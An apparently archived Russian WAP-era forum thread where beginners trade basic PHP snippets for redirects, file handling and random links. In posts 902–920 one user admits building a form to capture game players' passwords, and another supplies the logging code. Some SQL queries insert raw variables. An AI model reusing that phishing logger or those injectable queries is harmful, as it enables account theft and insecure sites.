
789. Удаленный (15.07.08 / 17:54)
if($c == 3)...

790. Удаленный (15.07.08 / 17:56)
Просто знак равно это присвоение значение. А для проверки равенства надо использовать == .

791. snake (15.07.08 / 18:10)
А мне ктонить памоч может? Пост 800...

792. snake (15.07.08 / 18:11)
А мне ктонить памоч может? Пост 800...

793. Удаленный (15.07.08 / 18:36)
800, например можно занести в массив url'ы картинок и затем оттуда извлекать элемент с индексом rand(0, (sizeof($arr) - 1)); // $arr это массив с url'ми

794. snake (15.07.08 / 19:06)
812, спс. А теперь можешь пофторить это так, штобы было понятно для новичка?

795. Удаленный (15.07.08 / 19:26)
813, что то типа этого
<?php
$arr=array('dir/file1.jpg', 'dir/file2.jpg', 'dir/file3.jpg'); // массив, где каждый элемент это url изображения
echo'<img src="'.$arr[(rand(0, (sizeof($arr) - 1)))].'" alt="картинко"/>';
?>


796. Удаленный (15.07.08 / 19:37)
806, чёто сразу не углядел. После if() убери точку с занятой!
<?
$a=9;
$b=3;
$c=$a/$b;
if($c==3) echo"hello";
else echo"bay";
?>


797. snake (15.07.08 / 20:22)
114, иччо раз спасибо. Сработало. ).gif

798. gipotez (15.07.08 / 21:37)
Ребята, подскажите функцию, чтобы выводила вес папки. Пожалуйста!

799. Night (15.07.08 / 21:58)
808 спасибо ).gif я забыл что равно это == ).gif

800. Удаленный (15.07.08 / 22:51)
Реально ли извлечь скрин из темы формата .sis ?

801. Удаленный (15.07.08 / 23:27)
Ребята, подскажите пожалуйста как будет выглядеть кодик для авто редиректа на другой сайт? к примеру ссылка будет вида
 site.ru/link.php и если на нее нажать то незаметно для человека он окажется на сайте, указанном в файле link.php 


802. Удаленный (16.07.08 / 00:15)

<?php
header ("Location: site.ru");
?>


803. Удаленный (16.07.08 / 00:16)
Спасибо!

804. ZooM (16.07.08 / 01:45)
<?php
header ("Location: [b]http://[/b]site.ru");
?>]


805. seif (16.07.08 / 04:21)
817 вроде diskfreespace

806. Удаленный (16.07.08 / 05:51)
Уж0с....

807. Удаленный (16.07.08 / 10:14)
823, прав, старею =))

808. Vanich (16.07.08 / 16:05)
Вопрос по ModRewrite:
почему DirectoryIndex с ModRewrite неработает?

809. gipotez (16.07.08 / 18:31)
никто не знает что ли как определить на php размер папки?

810. myz-tv (16.07.08 / 18:44)
#819, не

811. myz-tv (16.07.08 / 18:45)
#828 тут гдета есть этот код или в теме про коды

812. Jeka127 (16.07.08 / 23:06)
Как сделать запись из формы в 2 файла?

813. Удаленный (17.07.08 / 00:11)
как понять? Одно сообщение разделить на два файла что ли?)

814. Удаленный (17.07.08 / 00:23)
никогда даже не пробовал. Ну если это и возможно то попробуй просто вот этот код добавления:
<?php
$fp = @fopen("book/book.dat","a");
fopen("book/book.dat","a");
@chmod("book/book.dat",0666);
if(fputs($fp, htmlspecialchars($msg)))
написать дважды с двумя разными путями файла

815. Удаленный (17.07.08 / 00:24)
в конце fclose($fp); забыл

816. Jeka127 (17.07.08 / 01:47)
Спасибо. Ето и нужно было.

817. Удаленный (17.07.08 / 15:55)
а нахрен там 'htmlspecialchars' ?)

818. Удаленный (17.07.08 / 18:50)
Дайте код для вставки поля ввода номера страницы для перехода в листинг топиков и постов для phpBB WAP v5. Пример: http://forum2.siza.ru/toplist.php?forumID=1 В конце страницы.

819. myz-tv (18.07.08 / 07:49)
#836 htmlspecialchars() фильтрует хтмл теги

820. Удаленный (18.07.08 / 18:47)
838, каким образом ?))

821. seif (19.07.08 / 02:45)
839 обрабатывает теги, и выводит результат на страницу

822. Удаленный (19.07.08 / 03:53)
#827 отлично работает

823. Удаленный (19.07.08 / 03:55)
#836 не ожидал от тя гГ

824. Удаленный (19.07.08 / 10:21)
840,842 - херню порите ... обробатывая данные этой функцией перед записью в файл,вы лишь увеличиваете их объём,а также скорость выполнения скрипта при чтении из файла ... никакой фильтрации там нет,там есть конвертация html тегов в мнемоники ... пользоватся данной функцией нужно перед выводом данных в браузер,а никак не перед записью в файл !!! .. ))

825. Удаленный (19.07.08 / 22:30)
Kak чepeз header cдeлaть peдиpekт пo тaйму? И для чeгo пocлeдниe 2 пapaмeтpa этoй фунkции?

826. Night (19.07.08 / 22:39)
в чем ошибка? http://perewozchik.h2m.ru/pagetest.txt ну вроде все верно пишу.а все равно ошибка

827. Удаленный (20.07.08 / 09:47)
845. Пoпpoбуй вынecти из ckpиптa пepeмeнныe и ckлeить тoчkoй

828. Night (20.07.08 / 09:56)
а точку перед переменной ставить или после?

829. Night (20.07.08 / 09:57)
и почему так не работает?вроде должна же

830. Night (20.07.08 / 10:49)
все получилось.только пробелов нет хотя я их делал. echo"Сергей " .$wone[1]. " по адресу". $adress["sergej"]. ", Коля " .$wone[2]. "по адресу " .$adress["kolya"];

831. Удаленный (20.07.08 / 12:37)
Пpoбeлы &nbsp; пиши

832. Night (20.07.08 / 12:58)
это я знаю.я думал что пробелы и так должны быть так как я их ставил.а так точки и кавычки я правильно расставил?

833. Удаленный (20.07.08 / 17:09)
851. Пpaвильнo. Гpaждaнe, kтo нa мoй oтвeтит? Пpo peдиpekт пo тaиму headerom?

834. Удаленный (20.07.08 / 21:21)
header("Refresh: 5; url=page.html");


835. Удаленный (22.07.08 / 14:16)
Подскажите плиз что значит знак "?" в коде ?
например как тут

$q = !empty($_GET['q']) ? $_GET['q'] : '';

на сколько я понял это равносильно знаку "=" ?

836. Удаленный (22.07.08 / 15:03)
в данном случае после ? выполнятся код,если условие истинно,иначе будет выполнятся код после :
--
если $_GET['q'] существует и она не пуста,$q присваивается значение $_GET['q'] иначе будет присвоено пустое значение '' ...

837. Удаленный (22.07.08 / 15:05)
это типа консрукция if ... только непомню в каком стиле ...
также можно записать

if(!empty($_GET['q'])) $q = $_GET['q'];
else $q = '';


838. Удаленный (22.07.08 / 15:21)
wapt спасибо , а то чета не вкуривал..

839. seif (22.07.08 / 22:43)
как переименовать файл когда юзер перейдет по ссылке

840. Удаленный (22.07.08 / 22:57)
!empty($_GET['var']) ? rename ( $oldname , $newname ) : '';


841. Удаленный (23.07.08 / 19:41)
народ HELP ME PLEASE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!короче я создал файлик zagruz.dat в папке local/datamain ну засунул я туда сцылок,и зашёл по ссылке http://erema.h2m.ru/pages/index.php?action=zagruz& как сделать чтоб отображалось нормально????????????

842. Wapruks (23.07.08 / 19:44)
измени кодировку на утф-8

843. Удаленный (23.07.08 / 19:51)
как??

844. Удаленный (23.07.08 / 20:06)
861.как изменять кодировку?куда чё писать?

845. -FantA- (23.07.08 / 21:54)
Вопрос как сделать так чтоб в одной форме выполнились 2 action? Например чтоб послать одно и то же сообщение в скрипт guest.php и add_forum.php Примеры на бум- не смейтесь.. как это прописать?

846. -FantA- (23.07.08 / 23:10)
ещё вопрос как сделать чтоб эта функция выполнилась через 2 секунды, а не сразу
header("Location: news.php?add_ok&".SID); exit;


847. Aris (24.07.08 / 00:17)
то 864, так не получится. но можно сделать чтобы обработчик записывал данные в базу данных форума и гостевой

848. Aris (24.07.08 / 00:20)
то 865, а обязательно перенаправляя на другую станицу нужно именно хеадером воспользоваться?

849. Удаленный (24.07.08 / 01:13)
Headerom нe пoлучитcя. Caм пpoбoвaл

850. Aris (24.07.08 / 02:16)
Можно поступить таким образом

<?
echo "<HTML><HEAD>
<META HTTP-EQUIV='Refresh' CONTENT='2; URL=index.php?add_ok&".SID); exit;'>
</HEAD></HTML>";
?>


851. Удаленный (24.07.08 / 11:43)
У меня на компе метой спокойно перекидывает. Мета записана в боде. На телефоне не тестил правда

852. Удаленный (24.07.08 / 15:20)
Как можно сделать генерацию *.txt файлов чтоб они отоброжались как html страничьки имея минимальный набор допустим имея низ foot.php и шапку header.php мысль такова
1.создаём папку themes туда кидаем низ foot.php и шапку header.php
2.создаём папку pages туда сообствено и будем кидать наши *.txt
3.создаём файл config.php в нём пишем и его кидаем в корень
<?php
$themes="header"; # Название скина/темы, посмотреть их можно в папке themes
$title=""; # Заголовок страниц
$textlogo=""; # Название, будет отображенно на каждой странице около логотипа
$copyright=""; # Копирайт , будет отображенно внизу на каждой странице
$home=""; # Главная сайта (Слэш "/" в конце не ставить!)
$logo=""; # Адрес логотипа, вы можете просто заменить саму картинку
$ras_pages="txt"; # Расширение страниц движка
?>
4.Что надо прописать в index.php чтоб он генерировал из тхт в страничьки ?

853. Aris (24.07.08 / 15:30)
открываешь fopenom тхт файл, помешаешь в буфер, помешаешь буфер в переменную, уничтожаешь буфер

854. Удаленный (25.07.08 / 19:45)
подскажите код айфрейма

855. Gefest (26.07.08 / 01:57)
Как получить строку юзер агента?

856. Aris (26.07.08 / 02:03)
$агент=$_СЕРВЕР[ььХТТП_УСЕР_АГЕНТ];

857. Aris (26.07.08 / 02:05)
[ЦОДЕ]$агент=$_СЕРВЕР[ььХТТП_УСЕР_АГЕНТ];[/ЦОДЕ]

858. Jeka127 (26.07.08 / 14:37)
Как так сделать чтобы пробелы и переносы из формы оставались при записи в файл.

859. Удаленный (26.07.08 / 14:46)
Jeka127, например фильтруй переменные, потом (!) заменяй символ переноса сроки на </br>.

860. Jeka127 (26.07.08 / 14:56)
А пример можишь дать.?

861. Удаленный (26.07.08 / 14:57)
877, немного непонятно про что ты говориш ...
[code]<textarea physical = "physical" ... <!-- может про это ? --></code>

862. Jeka127 (26.07.08 / 15:03)
Мне надо чтобы сообщение из формы записалось в файл так как оно есть,со всеми пробелами и переносами.

863. Jeka127 (26.07.08 / 15:20)
$msg=preg_replace ("I[\r\n]+Isi","<br>",$msg);
$zag=preg_replace ("I[\r\n]+Isi","",$zag);
$msg=str_replace("В","<br>",$msg);

Мне надо что-то типа етаго.
Но как и где ето писать? Возли формы или при записи.

864. Удаленный (26.07.08 / 15:42)
если хочешь использовать этот код, нужно прописать его ПЕРЕД записью в файл, но ПОСЛЕ фильтрации!

865. Удаленный (26.07.08 / 15:44)
но лучше использовать str_replace! Меньше ресурсов кушает!

866. Jeka127 (26.07.08 / 15:49)
Спасиб за помощ.

867. Удаленный (26.07.08 / 16:11)
<pre> тебе в зубы после чтения из файла ...

!empty($_POST['data'])?
print '<pre style="padding:5px; border: rgb(0,0,0) 1px dotted;">'.$_POST['data'].'</pre>':
print '<form method="post"><textarea name="data" physical = "physical"></textarea><br /><input type="submit" value="ok" />
</form>';


868. Jeka127 (26.07.08 / 16:32)
Чёт я непонял зачем ето?

869. Удаленный (27.07.08 / 13:30)
А мне кто нибудь подскажет? (.gif

870. w1NNt (31.07.08 / 19:30)
2 Flek <iframe src="http://google.ru"></iframe>

871. Gefest (31.07.08 / 23:17)
Как в файле заменить определенную строку?

872. Удаленный (01.08.08 / 15:50)
Помогите плз,Вообщем видал да других сайтах такую шнягу,что ссылка определяет твой браузер,например *бесплатные загрузки Для Nokia N73* ,скажите как это сделать?

873. Aris (01.08.08 / 16:39)
$agent = $_SERVER['HTTP_USER_AGENT'];
to 891, $name = strpos($agent,"/");
$ua=substr($agent,0,strpos($agent,"/"));
echo "Бесплатные загрузки для".$ua;

874. Aris (01.08.08 / 16:40)
891, точнее так
$agent = $_SERVER['HTTP_USER_AGENT'];
$name = strpos($agent,"/");
$ua=substr($agent,0,strpos($agent,"/"));
echo "Бесплатные загрузки для".$ua;

875. Удаленный (01.08.08 / 17:40)
Арис,а ссылку где писать?

876. Aris (01.08.08 / 18:24)
$agent = $_SERVER['HTTP_USER_AGENT'];
$name = strpos($agent,"/");
$ua=substr($agent,0,strpos($agent,"/"));
echo "<a href='ссылка'>Бесплатные загрузки для".$ua."</a>";

877. Gefest (01.08.08 / 18:53)
Пост 890 Что, никто не знает? Это вообще возможно? Где все кодыры?

878. Удаленный (01.08.08 / 21:07)

<?php
# 890 - [:::::::::::]
$data = file('test.txt');
array_splice ( $data , ( $string_number_for_replace = 2 ) -1 , 1 , 'some_string' . "\n");
file_put_contents( 'test.txt' , $data );
?>


879. Gefest (01.08.08 / 21:49)
897, +1 спасибо!

880. Kaysar (05.08.08 / 23:17)
А как можно написать код который бы выдавал ява книги из текстовых файлов? Бросаешь txt а он ссылку на ява. Если конечно возможно. И вообще как делать ява книги?

881. SNELS (05.08.08 / 23:53)
899 возьми какую-нибудь ява-книгу распакуй, все файлы, кроме txt запихай в какую-нибудь папку, потом скриптом создавай папку, в эту папку кидай те файлы+ нужный txt и пакуй в zip, потом переименовывай в jar и всё, выводи юзеру

882. Kaysar (06.08.08 / 12:32)
Нет там текста книги. Txt есть, а текста книги нет. Во вторых она разделена на разделы, их имена и количество текста по которым они разделены будут работать и для новой книги чтоли? Непонятно. Пусть скажет знающий человек.

883. SNELS (06.08.08 / 15:17)
901 как это нет текста? А откуда он берётся? ).gif Я тебе теоретически сказал. А практически это целый скрипт

884. Удаленный (06.08.08 / 15:29)
Дайте кто нибудь код для создания папки.

885. megabit (06.08.08 / 15:34)
#903 мда.... mkdir
*http://ru2.php.net/mkdir

886. Удаленный (06.08.08 / 15:41)
904, никогда раньше не нуждался в этой функции. Спасибо )

887. Gefest (06.08.08 / 22:25)
Подскажите код переадресации php

888. Удаленный (06.08.08 / 22:34)

<?php
header(Location: http://microsoft.com);
?>


889. InvestoR (06.08.08 / 22:35)
<?php
header('Location:http://ocalhost/A.php');
exit();
?>

890. InvestoR (06.08.08 / 22:36)
KOIBAS оперидил меня ).gif

891. Gefest (06.08.08 / 23:07)
Спасибо

892. OlegLom (07.08.08 / 11:50)
Специально дя Fire:
 <? $login = "Vasya"; //переменая логин с ником юзера 
$q=mysql_query("SELECT * FROM users WHERE nick = '$login'"); //запрос к таблице users c полем nick
$user=mysql_fetch_array($q); // это типа массива
if (!$user['nick']=="" && $user['nick']==$login) //всучае если результат верен, то выводим...
{
echo 'Пользователь '.$user['nick'].' успешно найден!';
}
else //иначе...
{
echo 'Пользователь не найден!';
} ?>


893. SD-k790 (08.08.08 / 02:07)
Подскажите, можно-ли как-нибудь узнать IMEI телефона, с которого сидит юзер, или ID его компа(или как это называется) ?

894. Удаленный (08.08.08 / 16:25)
Скажите как узнать оператора юзера через ip

895. Удаленный (08.08.08 / 16:28)
А номер реально узнать? ).gif Гг

896. Удаленный (09.08.08 / 14:30)
Гы! Че никто не знает.

897. Удаленный (09.08.08 / 21:28)
есть и для показа номера тока код забыл а тот сайт в 404 превратился.. Там много таких функций было

898. Удаленный (09.08.08 / 21:29)
тока номер телефона не показывает).gif Удивительно было бы еслиб показывал. Интересно для чего тогда эта функция

899. SeeNoos (09.08.08 / 21:39)
Номер нереально показать,как и IMEI телефона

900. Удаленный (09.08.08 / 21:49)
918, некоторые опсосы при точке доступа wap передают номер телефона .. проверять нужно $_SERVER['HTTP_X_MSISDN'] или $_SERVER['HTTP_X_NETWORK_INFO']

901. Удаленный (12.08.08 / 21:11)
А как сам код скрипта выглядит?

902. leshara (15.08.08 / 13:10)
Подскажите как сделать чтоб данные с этой формы записывались в dat файл?
echo'<body>';
echo'<form action="in.php?" method="post">
<fieldset>
Ваш ник:<br/>
<input type="text" name="log"/><br/>
Пароль:<br/>
<input type="password" name="pass"/><br/>
<input class="ibutton" type="submit" value="Вход"/>
</fieldset></form><br/>';

Что нужно в файле in.php написать?

903. Удаленный (15.08.08 / 13:18)
.
<?php
if (isset($_POST['log'])) $log = $_POST['log'];
if (isset($_POST['pass'])) $pass = $_POST['pass'];
$text=$log.'I'.$pass.'I'';
$fp =fopen("file.dat","a+");
flock($fp,LOCK_EX);
fputs($fp,"$ text\r\n");
flock($fp,LOCK_UN);
fclose($fp);
chmod ("file.dat", 0666);
echo'<b>Добавлено!</b>';
.

904. Удаленный (15.08.08 / 13:19)
че то текст красный.значит ошибка. А если так..
<?php
if (isset($_POST['log'])) $log = $_POST['log'];
if (isset($_POST['pass'])) $pass = $_POST['pass'];
$text=$log.'I'.$pass.'I';
$fp=fope n("file.dat","a+");
flock($fp,LOCK_EX);
fputs($fp,"$text& #92;r\n");
flock($fp,LOCK_UN);
fclose($fp);
chmod ("file.dat", 0666);
echo'<b>Добавлено!</b>';
.

905. Удаленный (15.08.08 / 13:21)
отсюда не копируй. Тут ошибками отображаются..

906. leshara (15.08.08 / 13:22)
А можеш в txt дать?

907. Удаленный (15.08.08 / 13:31)
http://bola.h2m.ru/inc.txt
кодировка неудачная. скачай и так смотри

908. leshara (15.08.08 / 20:29)
Подскажите как в php файле вывести содержимое dat файла?

909. Удаленный (15.08.08 / 21:09)
$text = file("$file.dat");
if ($text!=""){
$dt = explode("I",$text[0]);}
echo $dt[0];
echo $dt[1];
echo $dt[3]; итд

910. leshara (15.08.08 / 22:38)
Чтото неполучается, белая страница, и всё...(

911. Wapruks (16.08.08 / 04:54)
инклудом

912. leshara (16.08.08 / 05:17)
930 инклудом это сделать нельзя! В том dat файле текст не оформлен так
<?php
echo'текст';
?>

913. Удаленный (16.08.08 / 08:16)
скопируй то что в файл.дат находится.если много то пару строк

914. leshara (16.08.08 / 09:39)
antonI6gtagI
SlmmsI36457I
MistiIMistiI
OfferI666444I
Вот, это там находитсо

915. Удаленный (16.08.08 / 17:08)
как я понял ты это на мотор поставил что пароли смотреть? ).gif вообщем для этого нужен код по больше.. Ша сдерню где нибудь.. А тот код что я давал должен вывести, значит ты отсюда скопировал его. Вместо латинского большого I нужно палочки ставить

916. Удаленный (16.08.08 / 17:10)
и файл.дат и индекс где выводятся сообщения должны быть в одной папке. Если нет то их пути пиши

917. leshara (16.08.08 / 22:07)
Это не для мотора.... Ты прав насчёт паролей, но это я его делаю для того чтоб смотреть пароли персов в онлайн игре...
Щас попробую тот же код, ток с палочками...

918. leshara (16.08.08 / 22:14)
Чёто и с палочкой неполучаетсо

919. Удаленный (16.08.08 / 23:21)
дай сюда скрипт в архиве я сделаю...

920. leshara (17.08.08 / 00:30)
http://www.leshara.net/lordy.zip вот, там ридми я напечатал.... Только сильно не смейся, это мой первый скрипт, ну несчитая грабберов....

921. Удаленный (17.08.08 / 09:10)
да не посмеюсь я. Ты бы видел мою первую гостю. После обеда посмотрю. Офф на работу

922. leshara (17.08.08 / 09:42)
940 ок, спасибо)

923. Удаленный (17.08.08 / 16:03)
Как изменить определенную строку из файла?

924. Удаленный (18.08.08 / 09:07)
Мда блин, еще ни разу не помогли, вопрос и нет ответа тема блин (.gif((

925. z-kzn-z (18.08.08 / 09:15)
tryp, номер строки известен или нет?

926. z-kzn-z (18.08.08 / 09:40)
ладно, кароч вот тебе пример. ).gif
допустим тебе надо в 5 строке заменить строку "siemens" на "nokia"

$file = file("file.txt");
$file[4] = str_replace("siemens", "nokia", $file[4]);
// или если тебе надо вообще заменить 5 строку, то вот так: $file[4] = "новая строка";
$file = implode("", $file);
$f = fopen("file.txt", "w+");
fwrite($f, $file);
fclose($f);


927. Roman4359 (19.08.08 / 15:07)
подскажите, как вынести значенья с пхп? Например: <? $k=555 echo ‘<html><body><div align=’center’><b>KOLICHESTVO RAVNE (тут чтобы было значенья $k )</div></body></html>’

928. leshara (19.08.08 / 15:30)
'.$k.'


929. JIexa (19.08.08 / 16:53)

<?
$k=555;
echo '<html><body><div align=’center’><b>KOLICHESTVO RAVNE '.$k.'</div></body></html>';
?>


930. Roman4359 (19.08.08 / 17:56)
БОЛШОЕ СПАСИБО!!! РОБОТАЕТ).gif

931. wapek (20.08.08 / 14:48)
Как сделать чтобы при обновлении страницы, текст ссылки менялся?

932. wapek (20.08.08 / 14:56)
а ссылка таже

933. wapek (20.08.08 / 15:39)
чё никто не знает?..(.gif

934. Roman4359 (20.08.08 / 16:20)
wapek,
$a = mt_rand(1,3);
}
if ($a==1)
{
echo '<a href="http://waptreder.ru/click.php?4929">SUPER SITE!</a>';
}
if ($a==2)
{
echo '<a href="http://waptreder.ru">SUPER SITE!</a>';
}
if ($a==3)
{
echo '<a href="http://get.kmx.ua/html/index.htm">SUPER SITE!</a>';
}

935. wapek (20.08.08 / 16:26)
953. Спасибо!

936. wapek (20.08.08 / 16:29)
НЕт, белая страница

937. Удаленный (20.08.08 / 16:32)
Ну вот например вывод ссылки со случайной записью

<?php
$text = array();
$text[] = "Текст 1";
$text[] = "Текст 2";
$text[] = "Текст 3";
$i = rand(0, (count($text) - 1));
printf("<a href='http://microsoft.com'> %s </a>", $text[$i]);
?>


938. Удаленный (21.08.08 / 13:38)
подскажите как сбацать php-страницу с функцией подсчёта файлов,собщений и т.д?

939. myz-tv (21.08.08 / 14:01)
Каких сообщений, откуда?

940. Удаленный (21.08.08 / 14:03)
ну типа:
Чат [10]
Гостевая [5]
Загрузки [7]

941. Удаленный (21.08.08 / 14:04)
хочу карачё сбацать index.php

942. Удаленный (21.08.08 / 14:16)
Ну если каждое сообщение занимает одну строку в файле, то можно просто подсчитать количетсво строк.

<?php
$count = 0;
$file_name = "data.txt"; // Путь к файлу
$file = fopen($file_name, "r");
while (!feof($file))
{
$count++;
fgets($file);
}
fclose($file);
echo("В файле ".$count." строк");
?>


943. myz-tv (21.08.08 / 16:34)
Или <? $f='book.txt'; $file=file($f); $size=sizef($file); print 'гостя ['.$size.']'; ?>

944. myz-tv (21.08.08 / 16:39)
Если сообщения разделены :II: <? $f='book.txt'; $file=file($f); $imp=implode(':II:',$file[0]);$size=sizef($imp); print 'гостя ['.$size.']'; ?>

945. myz-tv (21.08.08 / 16:52)
Ошибся надо sizeof вместо sizef

946. Удаленный (21.08.08 / 18:05)
спасибо парни!

947. Удаленный (27.08.08 / 16:28)
как посчитать количество файлов в папке

948. Sklep (27.08.08 / 16:35)
А что такое пхп?

949. Sklep (27.08.08 / 16:36)
Научите меня! Плиз...

950. Wapruks (27.08.08 / 16:41)
смешно

951. Удаленный (27.08.08 / 16:44)
та ну вас помощники
967 это средство для мытья посуды, не знал? жалко теперь будеш знать ыыы xaxa.gif

952. megabit (27.08.08 / 16:50)
970. ты вобще гений!
966. scandir

953. xass (27.08.08 / 16:57)
Kak zdelatj random s ssilkami esli oni takie
 http://ssite.ru;Text 

ljen uze tak delat ->
 <?php
$links2[] = '<a href="http://site.ru">text</a><br/>';
$links2[] = '<a href="http://site.ru">text</a><br/>';
$count = count($links2) - 1;
$rand = rand(0, $count);
$af3 = $links2[$rand];
print$af3;
?>
:)

954. Удаленный (27.08.08 / 17:00)
-= TRYP =-,

<?php
$count = 0;
$path = "../dir";
$dir = opendir($path);
while ($list_dir = readdir($dir))
{
if (is_file($list_dir)) $count++;
}
closedir($dir);
echo("В папке ".$count." строк.");
?>


955. Удаленный (27.08.08 / 17:03)
xass, че именно ты хочешь, я не понял. чтобы ссылку а файде хранились?

956. Удаленный (27.08.08 / 17:08)
973 спасибо

957. xass (27.08.08 / 17:33)
974 nu mne nado 4tobi ssilki na stranjice menjaljis D.gif
esli neponjal togda copy code v faile link.php i postav gdeta
<php?
include 'link.php';
?>

958. Удаленный (27.08.08 / 17:41)
976 ты галочку транслит видел?

959. Удаленный (27.08.08 / 18:02)
xass, ну тот код что ты написал, будет выводить случайную ссылку. че тебе еще нужно?

960. megabit (27.08.08 / 18:20)
хочешь так =)

$array = array(
array('http://kool.ru', 'koool.ru'), // Ссылка , Описание
array('http://net.tyta', 'Tyta nety ni4ego'),
array('http://mou.ru', 'Moy sait'));
$rand = rand(0,sizeof($array)-1);
print "<a href=".$array[$rand][0].">".$array[$rand][1]."</a>" ;;


961. megabit (27.08.08 / 18:22)
Эм что то у них тут глючит
$array = array(
array('http://kool.ru', 'koool'),
array('http://inet.ru', 'inet'),
array('http://mou.ru', 'mou'));
$rand = rand(0,sizeof($array)-1);
print "<a href=".$array[$rand][0].">".$array[$rand][1]."</a>" ;;

962. megabit (27.08.08 / 18:24)
#980 кароче в этом посте в посл.строке знак ; лишний хз че тут дописало

963. Удаленный (27.08.08 / 19:37)

<?
$dir="../downloads/";
$list = scandir( $dir );
foreach( $list as $name )
{
$time[$name] = filemtime( $dir."/".$name );
}
arsort( $time );
$cnt = 0;
foreach( $time as $key => $value )
{
if ( $key != "." and $key != ".." )
{
echo "<a href=\"$dir".$key."\">Файл</a><br />\n";
$cnt = $cnt + 1;}

}
if ( $cnt == 85 ) break;
}
?>

в общем вывод файлов по дате. Но как тут прикрутить постраничную навигацию? Помогите плиз (.gif (.gif (.gif

964. Удаленный (27.08.08 / 20:12)
xass, ну, как я понял, в файле хранится ссылка и имя разделенные символом точка с запятой. Тогда можно сделать так:
[code]
<?php
$path = "../links.txt"; // путь к файлу с сылками
$file_links = @fopen($path, "r");
if ($file_links == NULL) exit("It is impossible to open a file!");
$links = array();
while (!feof($file_links))
{
$links[] = fgets($file_links);
}
fclose($file_links);
$i = rand(0, (count($links) - 1));
$link = array();
$link = exolode(";", $links[$i]);
printf("<a href=\"%s\"> %s </a>, $link[0], $link[1]);
?>

965. Удаленный (27.08.08 / 20:12)
xass, ну, как я понял, в файле хранится ссылка и имя разделенные символом точка с запятой. Тогда можно сделать так:

<?php
$path = "../links.txt"; // путь к файлу с сылками
$file_links = @fopen($path, "r");
if ($file_links == NULL) exit("It is impossible to open a file!");
$links = array();
while (!feof($file_links))
{
$links[] = fgets($file_links);
}
fclose($file_links);
$i = rand(0, (count($links) - 1));
$link = array();
$link = exolode(";", $links[$i]);
printf("<a href=\"%s\"> %s </a>, $link[0], $link[1]);
?>


966. Удаленный (27.08.08 / 21:08)
а мне помогите 982 пост =(

967. Удаленный (27.08.08 / 22:31)
Немного ошибся...
Вот правильно:

<?php
$path = "links.txt"; // путь к файлу с сылками
$file_links = @fopen($path, "r");
if ($file_links == NULL) exit("It is impossible to open a file!");
$links = array();
while (!feof($file_links))
{
$links[] = fgets($file_links);
}
fclose($file_links);
$i = rand(0, (count($links) - 1));
$link = array();
$link = explode(";", $links[$i]);
printf("<a href=\"%s\"> %s </a>", $link[0], $link[1]);
?>


968. HardSsSsS (28.08.08 / 17:58)
как отфильтровать пердменную? Покажите пример пожалуйста!

969. Удаленный (28.08.08 / 18:12)
HardSsSsS,
<?php
//например переменная $test
$test=Htmlspecialchars($test);
?>


970. Удаленный (28.08.08 / 18:14)
Вот в файл test.dat имеет такой вид
IadugIkfkfkIdkdkdI
IsdfsdIrewerteIhggI
Я хочу посчитать сколько таких строк типо IsdfsdIrewerteIhggI было добавлено сегодня, для мотора если что

971. Удаленный (28.08.08 / 18:22)
989,
<?php
//определяем количество символов в строке
$str="Некий текст.";
$all=strlen($str);
echo $all;
это нужно?

972. Удаленный (28.08.08 / 18:23)
ой бля не то извини.
count() надо

973. Удаленный (28.08.08 / 18:32)
спасибо, это в общем, мне не это надо, а посчитать сколько строк добавилось, за 24 часа! или тут в теме одни комики? или что?

974. w1NNt (28.08.08 / 18:33)
хххх) 2 -= TRYP =-
записывай время добавления строки

975. Удаленный (28.08.08 / 18:34)
Ну есть время дата, а даль что?

976. HardSsSsS (28.08.08 / 19:02)
вот переменная '.$login.', а фильтрованная как будел выглядеть?

977. Удаленный (28.08.08 / 19:09)
HardSsSsS

$login=Htmlspecialchars($login);


978. HardSsSsS (28.08.08 / 19:13)
спасибо!

979. HardSsSsS (28.08.08 / 19:15)
спасибо!

980. Удаленный (28.08.08 / 19:50)
-= TRYP =-, а как время храниш

981. Удаленный (28.08.08 / 20:18)
KOIBAS, как в гостевой книге

982. Удаленный (28.08.08 / 20:46)
-= TRYP =-, откуда я знаю как у тебя в гостевой книге время хранится

983. Удаленный (28.08.08 / 21:16)
ну в смысле как в моторе, ща с телефона не напишу, я чтоб не парить хотел написать новые сообщения за день в гостевой книге

984. HardSsSsS (28.08.08 / 21:32)
я решил писать логи переходов для клик клуба! Как зделать так, чтоб при переходе запись шла не только в базу но и вtxt фйл?

985. Удаленный (28.08.08 / 22:16)
я даже и не видел как мотор выглядит... я не знаю как там время хтя

986. Удаленный (28.08.08 / 22:26)
ну я могу полюбому время впихнуть, хоть так 00946132 хоть так 28 янаваря 2002 или 07.31.08, на примере любова из вариантов

987. samec (29.08.08 / 02:07)
скрипт определения браузера телефона чтоб было типо все лучшее для ТУТ НАЗВАНИЕ БРАУЗЕРА дайте скрипт такой пожалуйсто

988. FANTOM (29.08.08 / 02:17)
 <? $ua=getenv(HTTP_USER_AGENT); 
$brow=strtok($ua,"/");
echo "DOWNLOAD FOR YOUR '.$brow.'"; ?>


989. Удаленный (31.08.08 / 15:50)
Народ скажите как осуществить поиск по базе данных MySQL связки Логин:Пароль. Короче чтобы был Логин и ему соответствовал пароль:

990. Удаленный (01.09.08 / 12:16)
Народ плизз! У меня ну никак не получается!

991. Удаленный (01.09.08 / 12:30)

"SELECT id FROM users WHERE login='$login' AND pass='$pass' LIMIT 1"


992. Удаленный (01.09.08 / 12:46)
а мне кто то поможет?

993. Удаленный (01.09.08 / 13:30)
Ребят как сделать чтобы последняя новость выводилась на главную если новости записываються в news.txt и имеет формат записи такой:
24.08.2008IОбнавлена база операторов, вслучии если ваш оператор не правильно определился сообщите мне ид1. Спасибо что остаётесь с нами.
27.08.2008IУ нас обнавился ява сёрф теперь его можно нормально скачать. Из новшеств теперь работает и со стандартным браузером. Мы снова лучшие!
29.08.2008IУ нас обновления на сайте, в пункте рекламные ссылки добавленно 2 пункта


994. SeeNoos (01.09.08 / 13:30)
Записывай в отдельный файл новые сообщения,в полночь через крон очищай файл.Потом просто прочитаешь файл в массив и посчитаешь сколько там строк

995. Удаленный (01.09.08 / 13:31)
Дату и сообщение отделяет прямая палка

996. SeeNoos (01.09.08 / 13:32)
^Это для -= TRYP =-

997. Удаленный (01.09.08 / 13:37)
У меня вот такой код но он выводит последнюю дату новости а мне надо сообщение [code] $endnews = file("text/news.txt");
$endnews = $endnews[count($endnews)-1];
$endnews = explode("I", $endnews);
$endnews = $endnews[0];
$code .= "<a href='" . QueryParam(array(), 1, "news.php") . "'>Новости [ " . $endnews . " ]</a><font color = red>Читать всем!</font><br/>";
[code/] и на сайте это выглидит так: Новости [ 29.08.2008 ]Читать всем!

